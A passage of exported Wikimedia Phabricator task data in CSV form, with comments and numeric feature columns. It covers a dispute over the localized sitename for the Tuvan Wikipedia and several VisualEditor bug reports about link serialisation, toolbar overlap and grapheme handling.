However, the Википедия name is surely 'established' in a certain way because the community(!) requested it to be set as their sitename and used it also on the Incubator pages. The community can use any name it wants, regardless of whether that is ""European"" or ""native"" or not.",,,1373941142,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,1.0,1.0,6.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,1.0,0.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,5.0,9.0,3.0,3.0,11.0,0.0,0.0,1.0,0.0,3.0,1.0,1.0,0.0,5.0,11.0,3.0,0.0,9.0,0.0,5.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.852272727272727,0.7045454545454546,"That's nonsense. There is apparently no ""trying to establish a native name"", because the discussion from Dec. 2012 fell asleep.
However, the Википедия name is surely 'established' in a certain way because the community(!) requested it to be set as their sitename and used it also on the Incubator pages. The community can use any name it wants, regardless of whether that is ""European"" or ""native"" or not."
247022,Create Wikipedia Tuvan,"**polar_bear0901** wrote:

(In reply to comment #9)
> Well, apparently polar_bear0901 (whom I do not know) opposes the translation
> of
> ""Wikipedia"" chosen by the test-community.
> 
> In his comment he refers to this discussion about the name from Dec 2012,
> started by an IP (him?):
> <https://incubator.wikimedia.org/wiki/Talk:Wp/tyv/
> %D0%9A%D0%BE%D0%BB_%D0%B0%D1%80%D1%8B%D0%BD#Localization>.
> There was no conclusion.
> 
> See however https://meta.wikimedia.org/w/index.php?diff=5528227&oldid=5527996
> and https://meta.wikimedia.org/w/index.php?diff=5529039&oldid=5528970 for the
> community requesting the project & ns 4 name Википедия, upon which I based
> comment 0.
> Cf. also this recent ""editwarring"" on the Main Page:
> <https://incubator.wikimedia.org/w/index.php?title=Wp/tyv/
> %D0%9A%D0%BE%D0%BB_%D0%B0%D1%80%D1%8B%D0%BD&action=history>
> 
> Unless the community itself decides to change the 'established' sitename, I'd
> request the wiki configuration to be carried out as described in comment 0.

But where did you show us an ""established"" sitename? I.e. did the community establish any site name? I didn't see any ""community requesting"" because the discussion didn't draw a conclution and the local community are still trying to establish a native name, and we should help them choosing a native name rather than apply an European name for them.",,,1373939223,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,1.5,0.0,0.0,0.0,1.5,4.0,0.0,1.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,2.0,1.0,3.5,4.0,0.0,1.5,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.5,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,1.5,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,6.5,1.0,13.5,1.5,2.0,8.0,0.0,0.0,0.0,0.5,6.0,0.0,0.5,0.0,4.0,4.0,10.0,1.5,3.0,0.0,4.0,0.0,0.5,4.0,2.0,2.5,0.0,0.0,0.0,3.642857142857143,0.4920634920634921,"**polar_bear0901** wrote:

(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

But where did you show us an ""established"" sitename? I.e. did the community establish any site name? I didn't see any ""community requesting"" because the discussion didn't draw a conclution and the local community are still trying to establish a native name, and we should help them choosing a native name rather than apply an European name for them."
247016,Create Wikipedia Tuvan,"Well, apparently polar_bear0901 (whom I do not know) opposes the translation of ""Wikipedia"" chosen by the test-community.

In his comment he refers to this discussion about the name from Dec 2012, started by an IP (him?): <https://incubator.wikimedia.org/wiki/Talk:Wp/tyv/%D0%9A%D0%BE%D0%BB_%D0%B0%D1%80%D1%8B%D0%BD#Localization>. There was no conclusion.

See however https://meta.wikimedia.org/w/index.php?diff=5528227&oldid=5527996 and https://meta.wikimedia.org/w/index.php?diff=5529039&oldid=5528970 for the community requesting the project & ns 4 name Википедия, upon which I based comment 0.
Cf. also this recent ""editwarring"" on the Main Page: <https://incubator.wikimedia.org/w/index.php?title=Wp/tyv/%D0%9A%D0%BE%D0%BB_%D0%B0%D1%80%D1%8B%D0%BD&action=history>

Unless the community itself decides to change the 'established' sitename, I'd request the wiki configuration to be carried out as described in comment 0.",,,1373897829,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,1.0,0.5,1.5,0.0,0.0,0.0,1.0,2.5,2.5,0.0,0.0,0.5,2.0,1.5,2.5,10.5,0.0,1.5,0.0,0.0,1.0,1.5,0.5,1.0,0.0,0.0,1.0,1.0,2.5,2.5,1.0,2.0,0.0,0.0,0.0,0.5,2.5,0.5,1.5,0.0,6.5,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,6.5,1.5,12.0,1.5,1.5,9.0,0.0,0.0,0.0,0.0,3.5,0.5,3.0,0.0,4.5,10.5,4.0,0.5,4.0,0.0,4.5,0.0,1.5,0.5,1.5,1.0,0.0,0.0,1.5,3.8671875,0.8029513888888888,"Well, apparently polar_bear0901 (whom I do not know) opposes the translation of ""Wikipedia"" chosen by the test-community.

In his comment he refers to this discussion about the name from Dec 2012, started by an IP (him?): <URL There was no conclusion.

See however URL and URL for the community requesting the project & ns 4 name Википедия, upon which I based comment 0.
Cf. also this recent ""editwarring"" on the Main Page: <URL

Unless the community itself decides to change the 'established' sitename, I'd request the wiki configuration to be carried out as described in comment 0."
247009,Create Wikipedia Tuvan,@MF-Warburg: Would you please tell us /what the hell/ is going on here? Your request was totally different from comment 6.,,,1373883715,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,12.0,12.0,4.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.230769230769231,1.0,SCREEN_NAME-Warburg: Would you please tell us /what the hell/ is going on here? Your request was totally different from comment 6.
247000,Create Wikipedia Tuvan,"**polar_bear0901** wrote:

(In reply to comment #5)
> Waiting for Reedy to do some on-server magic.

TEMPORARILY import an English name is important in that people will realize that the name is temporarily chosen and they still have rights to decide their localized name.",,,1373863960,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,4.0,2.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,4.0,12.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.104166666666667,0.8125,"**polar_bear0901** wrote:

(In reply to comment #5)
QUOTE

TEMPORARILY import an English name is important in that people will realize that the name is temporarily chosen and they still have rights to decide their localized name."
246991,Create Wikipedia Tuvan,"**polar_bear0901** wrote:

(In reply to comment #4)
> Any problems with this request?

Yes. The community is choosing a name for Tuvan Wikipedia (and someone are afraid whether they're granted the right to have a localised name of Wikipedia - see the talk page of the Main Page). 

So the information should be **temporarily**

Project name: Wikipedia
Project namespace: Wikipedia
Project talk namespace: Wikipedia дугайында сүмелел
Project logo: http://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2-en.png

(I don't want to use the English name even temporarily but at least this may not result in many locals feel they're obliged to borrow the Russian name.)",,,1373863597,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,1.0,0.5,0.0,0.0,1.5,3.5,0.5,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,1.0,0.0,4.5,7.5,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.5,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,5.0,2.0,13.5,0.5,1.5,6.0,0.0,0.0,0.0,0.5,5.5,0.5,0.5,0.0,2.0,7.5,9.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,3.8834325396825395,0.7162698412698413,"**polar_bear0901** wrote:

(In reply to comment #4)
QUOTE

Yes. The community is choosing a name for Tuvan Wikipedia (and someone are afraid whether they're granted the right to have a localised name of Wikipedia - see the talk page of the Main Page). 

So the information should be **temporarily**

Project name: Wikipedia
Project namespace: Wikipedia
Project talk namespace: Wikipedia дугайында сүмелел
Project logo: URL

(I don't want to use the English name even temporarily but at least this may not result in many locals feel they're obliged to borrow the Russian name.)"
246982,Create Wikipedia Tuvan,Waiting for Reedy to do some on-server magic.,,,1373803738,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,1,,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.4545454545454546,1.0,Waiting for Reedy to do some on-server magic.
246974,Create Wikipedia Tuvan,Any problems with this request?,,,1373788651,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,1,,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Any problems with this request?
246967,Create Wikipedia Tuvan,Related URL: https://gerrit.wikimedia.org/r/68188 (Gerrit Change I7e9a1193500b7e09a29dab1d833c712db9453422),,,1371051069,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I7e9a1193500b7e09a29dab1d833c712db9453422)
246962,Create Wikipedia Tuvan,Related URL: https://gerrit.wikimedia.org/r/68188 (Gerrit Change I7e9a1193500b7e09a29dab1d833c712db9453422),,,1371051066,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I7e9a1193500b7e09a29dab1d833c712db9453422)
246958,Create Wikipedia Tuvan,[I guess that's more of a site request than a language setup bug? Also changing priority.],,,1370682017,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,2,False,,,-4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,5.0,3.5714285714285716,0.9523809523809523,[I guess that's more of a site request than a language setup bug? Also changing priority.]
51310,VisualEditor: Sometimes ignores changing a wikilink with an underscore to one with a space,"**Author:** `the.anonymouse.wikimedia`

**Description:**
I created a wikilink [https://en.wikipedia.org/w/index.php?title=User:The_Anonymouse/sandbox2&diff=558776770&oldid=548109401] as [[United_States]]. I then tried to use VisualEditor to change the underscore to a space ([[United States]]), but it said that my edit was ignored due to no changes. However, if I actually click the link button and click the United States link suggestion, it works as expected. That is how I eventually accomplished the edit with VisualEditor [https://en.wikipedia.org/w/index.php?title=User:The_Anonymouse/sandbox2&diff=558777422&oldid=558776770].

--------------------------
**Version**: unspecified
**Severity**: trivial
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=42140",Medium,50.0,1370622300,1402688105.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ticw62p4dy4nr4dhvsrq,task_description,resolved,True,c1,2,False,False,False,-4,,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,4.5,6.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.5,10.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,15.5,2.0,1.5,5.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,4.5,6.0,6.0,0.0,0.0,0.0,4.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,3.5471972501322053,0.6582496033844527,"**Author:** CODE

**Description:**
I created a wikilink [URL as [[United_States]]. I then tried to use VisualEditor to change the underscore to a space ([[United States]]), but it said that my edit was ignored due to no changes. However, if I actually click the link button and click the United States link suggestion, it works as expected. That is how I eventually accomplished the edit with VisualEditor [URL

--------------------------
**Version**: unspecified
**Severity**: trivial
**See Also**:
URL"
245921,VisualEditor: Sometimes ignores changing a wikilink with an underscore to one with a space,This got fixed a long time ago; sorry for the slow triage on your report.,,,1402688105,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ticw62p4dy4nr4dhvsrq,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,1.0,This got fixed a long time ago; sorry for the slow triage on your report.
245912,VisualEditor: Sometimes ignores changing a wikilink with an underscore to one with a space,"Is this a Parsoid issue?

<p><a href=""./Main_page"" rel=""mw:WikiLink"" data-parsoid=""{&quot;a&quot;:{&quot;href&quot;:&quot;./Main_page&quot;},&quot;sa&quot;:{&quot;href&quot;:&quot;Main_page&quot;},&quot;stx&quot;:&quot;simple&quot;,&quot;dsr&quot;:[0,13,2,2]}"">Main page</a></p>

serialises to

[[Main_page]]

whereas

<p><a href=""./Main_page"" rel=""mw:WikiLink"">Main page</a></p>

serialises to

[[Main page]]

which is what we want",,,1371168271,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ticw62p4dy4nr4dhvsrq,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,7.0,2.0,5.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,16.0,7.2631578947368425,0.5789473684210527,"Is this a Parsoid issue?

<p><a href=""./Main_page"" rel=""mw:WikiLink"" data-parsoid=""{&quot;a&quot;:{&quot;href&quot;:&quot;./Main_page&quot;},&quot;sa&quot;:{&quot;href&quot;:&quot;Main_page&quot;},&quot;stx&quot;:&quot;simple&quot;,&quot;dsr&quot;:[0,13,2,2]}"">Main page</a></p>

serialises to

[[Main_page]]

whereas

<p><a href=""./Main_page"" rel=""mw:WikiLink"">Main page</a></p>

serialises to

[[Main page]]

which is what we want"
51308,VisualEditor: Images' selection blocks can overlap the toolbar and prevent saving/etc.,"exemple in video

When I add a picture and it gets behind the toolbar,
This prevents the toolbar from be clicked

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11568}",Medium,50.0,1370617380,1373649909.0,PHID-USER-pts53ljtnbn3jhkllas6,False,,False,PHID-TASK-7ci67c3uih3tuev7ghu3,task_description,resolved,True,c1,2,False,False,True,-4,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,13.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6346153846153846,0.6346153846153846,"exemple in video

When I add a picture and it gets behind the toolbar,
This prevents the toolbar from be clicked

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11568}"
245808,VisualEditor: Images' selection blocks can overlap the toolbar and prevent saving/etc.,The problem seems to be fixed in the current version. Thank you!,,,1373649909,,PHID-USER-pts53ljtnbn3jhkllas6,False,,,PHID-TASK-7ci67c3uih3tuev7ghu3,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,1.0,The problem seems to be fixed in the current version. Thank you!
245804,VisualEditor: Images' selection blocks can overlap the toolbar and prevent saving/etc.,"(In reply to comment #0)
> Created attachment 12495 [details]
> exemple in video
> 
> When I add a picture and it gets behind the toolbar,
> This prevents the toolbar from be clicked

Thank you for the video; this is hugely helpful and very clear what's going wrong! Assigning.

**Attached**: {F11568}",,,1370620359,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7ci67c3uih3tuev7ghu3,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,0.0,2.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,2.0,6.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.122448979591837,0.7551020408163265,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thank you for the video; this is hugely helpful and very clear what's going wrong! Assigning.

**Attached**: {F11568}"
51257,VisualEditor: Provide full grapheme cluster boundary detection,"Per Ed.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1370532360,1371423759.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-3qm4izjirylpzskf6mlm,task_description,resolved,True,c1,2,True,False,True,-4,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.5714285714285714,"Per Ed.

--------------------------
**Version**: unspecified
**Severity**: normal"
242564,VisualEditor: Provide full grapheme cluster boundary detection,"This was fixed by gerrit 68864; there are some edge cases which we may want to address in future (""three Korean Jamo and then a combining accent would split wrong""), but closing this as done.",,,1371423759,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-3qm4izjirylpzskf6mlm,task_subcomment,,True,c1,2,True,,,-3,,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,7.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,2.0,10.0,5.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,3.738095238095238,0.9761904761904762,"This was fixed by gerrit 68864; there are some edge cases which we may want to address in future (""three Korean Jamo and then a combining accent would split wrong""), but closing this as done."
242559,VisualEditor: Provide full grapheme cluster boundary detection,Related change: https://gerrit.wikimedia.org/r/#/c/68864/,,,1371420521,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-3qm4izjirylpzskf6mlm,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Related change: URL
51147,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","Arrow shown in top-right, under search bar

The Up-Arrow icon, at the top-right of the ""Review your changes"" dialog (which cancels the review window) needs a tooltip. 

I suggest: ""Cancel review, go back to current edit"" or similar.

--------------------------
**Version**: unspecified
**Severity**: enhancement

